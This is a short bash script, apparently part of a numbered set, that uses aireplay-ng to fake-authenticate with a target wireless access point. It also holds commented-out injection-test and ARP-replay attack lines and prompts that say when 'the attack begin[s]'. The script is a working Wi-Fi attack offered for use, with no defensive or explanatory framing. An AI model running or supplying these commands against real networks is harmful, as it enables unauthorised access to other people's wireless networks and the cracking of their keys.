#!/bin/bash
################# TERMINAL 2 ################
echo "Terminal 2"
. ./setvar.sh

# test Injection
#echo "testing Injecton..."
#aireplay-ng -9 wlan0 -b $bssid -h $mymac 
#echo "did you find injection is working?"


#fake association makes rtap0 availble for Terminal1(data collection(
#aireplay-ng --fakeauth 0 -e $essid -a $bssid -h $mymac $iface
#aireplay-ng --fakeauth 6000 -o 1  -q 10 -e $essid -a $bssid $iface
aireplay-ng --fakeauth 6000 -o 1  -q 10 -a $bssid $iface
iwconfig

echo "######### If it was successful, $ . 02terminal2.sh to begin capture  ############"
echo "################### and then ping here from another terminal #############"
echo "###################       That makes the attack begin        ############"

#attack
#aireplay-ng --arpreplay -b $bssid -h $mymac $iface -x 50

